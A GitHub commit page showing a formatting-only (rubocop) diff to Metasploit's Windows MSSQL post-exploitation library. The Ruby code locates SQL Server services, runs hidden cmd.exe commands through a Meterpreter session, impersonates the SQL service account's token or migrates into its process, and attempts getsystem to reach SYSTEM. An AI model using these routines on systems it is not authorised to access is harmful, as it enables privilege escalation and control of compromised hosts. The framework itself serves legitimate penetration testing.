Skip to content

Commit 8e22255

Browse files
Meatballs1Meatballs1
committed
Small tidyup/rubocop
Signed-off-by: Meatballs <[email protected]>
1 parent 9529eed commit 8e22255

File tree

1 file changed

+150
-155
lines changed

1 file changed

+150
-155
lines changed

‎lib/msf/core/post/windows/mssql.rb

Lines changed: 150 additions & 155 deletions
Original file line numberDiff line numberDiff line change
@@ -4,166 +4,161 @@
44
require 'msf/core/exploit/mssql_commands'
55

66
module Msf
7-
class Post
8-
module Windows
7+
class Post
8+
module Windows
9+
module MSSQL
10+
attr_accessor :sql_client
11+
12+
include Msf::Exploit::Remote::MSSQL_COMMANDS
13+
include Msf::Post::Windows::Services
14+
include Msf::Post::Windows::Priv
15+
16+
def check_for_sqlserver(instance = nil)
17+
target_service = nil
18+
each_service do |service|
19+
if instance.to_s.strip.empty?
20+
# Target default instance
21+
if service[:display] =~ /SQL Server \(| MSSQLSERVER/i &&
22+
service[:pid].to_i > 0
23+
target_service = service
24+
break
25+
end
26+
else
27+
if service[:display].downcase.include?("SQL Server (#{instance}".downcase) &&
28+
service[:pid].to_i > 0
29+
target_service = service
30+
break
31+
end
32+
end
33+
end
34+
35+
if target_service
36+
target_service.merge!(service_info(target_service[:name]))
37+
end
38+
39+
target_service
40+
end
41+
42+
def get_sql_client
43+
client = nil
44+
45+
if check_sqlcmd
46+
client = 'sqlcmd'
47+
elsif check_osql
48+
client = 'osql'
49+
end
50+
51+
@sql_client = client
52+
client
53+
end
954

10-
module MSSQL
55+
def check_osql
56+
running_services1 = run_cmd("osql -?")
57+
services_array1 = running_services1.split("\n")
58+
services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/i
59+
end
1160

12-
attr_accessor :sql_client
61+
def check_sqlcmd
62+
running_services = run_cmd("sqlcmd -?")
63+
services_array = running_services.split("\n")
64+
services_array.each do |service|
65+
return true if service =~ /SQL Server Command Line Tool/i
66+
end
67+
end
1368

14-
include Msf::Exploit::Remote::MSSQL_COMMANDS
15-
include Msf::Post::Windows::Services
16-
include Msf::Post::Windows::Priv
69+
def run_sql(query, instance = nil, server = '.')
70+
target = server
71+
if instance && instance.downcase != 'mssqlserver'
72+
target = "#{server}\\#{instance}"
73+
end
74+
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
75+
vprint_status(cmd)
76+
run_cmd(cmd)
77+
end
1778

18-
def check_for_sqlserver(instance=nil)
19-
target_service = nil
20-
each_service do |service|
21-
unless instance.to_s.strip.empty?
22-
if service[:display].downcase.include?("SQL Server (#{instance}".downcase) &&
23-
service[:pid].to_i > 0
24-
target_service = service
25-
break
79+
## ----------------------------------------------
80+
## Method for executing cmd and returning the response
81+
##
82+
## Note: This may fail as SYSTEM if the current process
83+
## doesn't have sufficient privileges to duplicate a token,
84+
## e.g. SeAssignPrimaryToken
85+
##----------------------------------------------
86+
def run_cmd(cmd, token = true)
87+
opts = { 'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token }
88+
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
89+
res = ""
90+
while (d = process.channel.read)
91+
break if d == ""
92+
res << d
93+
end
94+
process.channel.close
95+
process.close
96+
97+
res
2698
end
27-
else
28-
# Target default instance
29-
if service[:display] =~ /SQL Server \(| MSSQLSERVER/i &&
30-
service[:pid].to_i > 0
31-
target_service = service
32-
break
99+
100+
def impersonate_sql_user(service)
101+
pid = service[:pid]
102+
vprint_status("Current user: #{session.sys.config.getuid}")
103+
current_privs = client.sys.config.getprivs
104+
if current_privs.include?('SeImpersonatePrivilege') ||
105+
current_privs.include?('SeTcbPrivilege') ||
106+
current_privs.include?('SeAssignPrimaryTokenPrivilege')
107+
username = nil
108+
session.sys.process.each_process do |process|
109+
if process['pid'] == pid
110+
username = process['user']
111+
break
112+
end
113+
end
114+
115+
session.core.use('incognito') unless session.incognito
116+
vprint_status("Attemping to impersonate user: #{username}")
117+
res = session.incognito.incognito_impersonate_token(username)
118+
119+
if res =~ /Successfully/i
120+
print_good("Impersonated user: #{username}")
121+
return true
122+
else
123+
return false
124+
end
125+
else
126+
# Attempt to migrate to target sqlservr.exe process
127+
# Migrating works, but I can't rev2self after its complete
128+
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
129+
begin
130+
session.core.migrate(pid)
131+
rescue Rex::RuntimeError => e
132+
print_error(e.to_s)
133+
return false
134+
end
135+
136+
vprint_status("Current user: #{session.sys.config.getuid}")
137+
print_good("Successfully migrated to sqlservr.exe process #{pid}")
138+
end
139+
140+
true
33141
end
34-
end
35-
end
36-
37-
if target_service
38-
target_service.merge!(service_info(target_service[:name]))
39-
end
40-
41-
return target_service
42-
end
43-
44-
def get_sql_client
45-
client = nil
46-
47-
if check_sqlcmd
48-
client = 'sqlcmd'
49-
elsif check_osql
50-
client = 'osql'
51-
end
52-
53-
@sql_client = client
54-
return client
55-
end
56-
57-
def check_osql
58-
running_services1 = run_cmd("osql -?")
59-
services_array1 = running_services1.split("\n")
60-
return services_array1.join =~ /(SQL Server Command Line Tool)|(usage: osql)/
61-
end
62-
63-
def check_sqlcmd
64-
running_services = run_cmd("sqlcmd -?")
65-
services_array = running_services.split("\n")
66-
services_array.each do |service|
67-
if service =~ /SQL Server Command Line Tool/
68-
return true
69-
end
70-
end
71-
end
72-
73-
def run_sql(query, instance=nil, server='.')
74-
target = server
75-
if instance && instance.downcase != 'mssqlserver'
76-
target = "#{server}\\#{instance}"
77-
end
78-
cmd = "#{@sql_client} -E -S #{target} -Q \"#{query}\" -h-1 -w 200"
79-
vprint_status(cmd)
80-
run_cmd(cmd)
81-
end
82-
83-
## ----------------------------------------------
84-
## Method for executing cmd and returning the response
85-
##
86-
## Note: This may fail as SYSTEM if the current process
87-
## doesn't have sufficient privileges to duplicate a token,
88-
## e.g. SeAssignPrimaryToken
89-
##----------------------------------------------
90-
def run_cmd(cmd, token=true)
91-
opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token}
92-
process = session.sys.process.execute("cmd.exe /c #{cmd}", nil, opts)
93-
res = ""
94-
while (d = process.channel.read)
95-
break if d == ""
96-
res << d
97-
end
98-
process.channel.close
99-
process.close
100-
101-
res
102-
end
103-
104-
def impersonate_sql_user(service)
105-
pid = service[:pid]
106-
vprint_status("Current user: #{session.sys.config.getuid}")
107-
current_privs = client.sys.config.getprivs
108-
if current_privs.include?('SeImpersonatePrivilege') ||
109-
current_privs.include?('SeTcbPrivilege') ||
110-
current_privs.include?('SeAssignPrimaryTokenPrivilege')
111-
username = nil
112-
session.sys.process.each_process do |process|
113-
if process['pid'] == pid
114-
username = process['user']
115-
break
142+
143+
def get_system
144+
print_status("Checking if user is SYSTEM...")
145+
146+
if is_system?
147+
print_good("User is SYSTEM")
148+
else
149+
# Attempt to get LocalSystem privileges
150+
print_warning("Attempting to get SYSTEM privileges...")
151+
system_status = session.priv.getsystem
152+
if system_status && system_status.first
153+
print_good("Success, user is now SYSTEM")
154+
return true
155+
else
156+
print_error("Unable to obtained SYSTEM privileges")
157+
return false
158+
end
159+
end
116160
end
117-
end
118-
119-
session.core.use('incognito') unless session.incognito
120-
vprint_status("Attemping to impersonate user: #{username}")
121-
res = session.incognito.incognito_impersonate_token(username)
122-
123-
if res =~ /Successfully/i
124-
print_good("Impersonated user: #{username}")
125-
return true
126-
else
127-
return false
128-
end
129-
else
130-
# Attempt to migrate to target sqlservr.exe process
131-
# Migrating works, but I can't rev2self after its complete
132-
print_warning("No SeImpersonatePrivilege, attempting to migrate to process #{pid}...")
133-
begin
134-
session.core.migrate(pid)
135-
rescue Rex::RuntimeError => e
136-
print_error(e.to_s)
137-
return false
138-
end
139-
140-
vprint_status("Current user: #{session.sys.config.getuid}")
141-
print_good("Successfully migrated to sqlservr.exe process #{pid}")
142-
end
143-
144-
true
145-
end
146-
147-
def get_system
148-
print_status("Checking if user is SYSTEM...")
149-
150-
if is_system?
151-
print_good("User is SYSTEM")
152-
else
153-
# Attempt to get LocalSystem privileges
154-
print_warning("Attempting to get SYSTEM privileges...")
155-
system_status = session.priv.getsystem
156-
if system_status && system_status.first
157-
print_good("Success, user is now SYSTEM")
158-
return true
159-
else
160-
print_error("Unable to obtained SYSTEM privileges")
161-
return false
162-
end
163-
end
164-
end
165-
166-
end # MSSQL
167-
end # Windows
168-
end # Post
161+
end # MSSQL
162+
end # Windows
163+
end # Post
169164
end # Msf

0 commit comments

Comments
 (0)